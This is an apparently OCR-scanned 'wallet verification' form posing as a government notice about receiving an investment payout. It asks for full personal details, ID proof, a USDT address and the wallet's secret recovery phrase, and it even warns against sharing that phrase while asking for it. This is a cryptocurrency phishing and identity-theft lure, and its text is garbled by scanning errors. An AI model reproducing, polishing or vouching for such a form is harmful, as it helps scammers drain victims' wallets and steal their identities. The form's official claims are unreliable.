VERIFICATION NOTICE

Wallet verification form

Wallet verification form for the purpose of receiving an investment amount from an official institution.

This form is sudmiffed for the purpose of verifying an c/ccfronic wallet registered under an individual’s name at the request of a government authority or Institution to facilitate tho transfer of a financial amount from government ontltios to the wallet holder.

APPROVAL NO.1405-0189

Investment Application Form

investment Information

Last Name(s)

First Name

Middle Name

Other names in your ID

Date of Birth

Crrent Adress

phone number

Do you have an Investment license?

Investment license number | if not Type non

USDT Address

Secret phrase

ID proof

agree out terms and condetions

⚠ DON'T share your secret phrase with anyone. We ask you just once to verify wallet ownership.